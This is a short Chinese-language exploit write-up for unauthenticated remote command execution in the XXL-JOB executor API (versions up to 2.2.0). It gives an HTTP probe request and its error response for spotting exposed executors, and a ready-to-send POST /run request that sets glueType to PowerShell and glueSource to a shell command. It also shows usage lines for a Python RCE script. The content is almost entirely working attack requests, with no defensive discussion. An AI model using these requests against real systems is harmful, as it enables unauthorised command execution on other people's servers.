# xxl-job API接口未授权访问RCE
影响版本：
– XXL-JOB <= 2.2.0 资产探测：
```
POST /run HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```
```
HTTP/1.1 200 OK
content-type: text/html;charset=UTF-8
content-length: 646 {
"code": 500,
"msg": "request error:java.lang.NullPointerException
at com.xxl.job.core.biz.impl.ExecutorBizImpl.run(ExecutorBizImpl.java:49)
at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.process(EmbedServer.java:201)
at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler.access$200(EmbedServer.java:138)
at com.xxl.job.core.server.EmbedServer$EmbedHttpServerHandler$1.run(EmbedServer.java:166)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
"
}
```
POC1:
```
POST /run HTTP/1.1
Host: 127.0.0.1:9999
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded {
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_POWERSHELL",
"glueSource": "calc", #执行的bash语句
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
```
POC2:
```
python3 xxl-job-rce.py [IP Address] -p [Prot(default 9999)] -c [Command] -m[Ccript Method(default powershell)]' python3 xxl-job-rce.py 192.168.229.146 -c calc python3 xxl-job-rce.py 192.168.229.146 -c calc -m shell -p 9999
``` [@mrknow001](https://github.com/mrknow001/xxl-job-rce) ## POC
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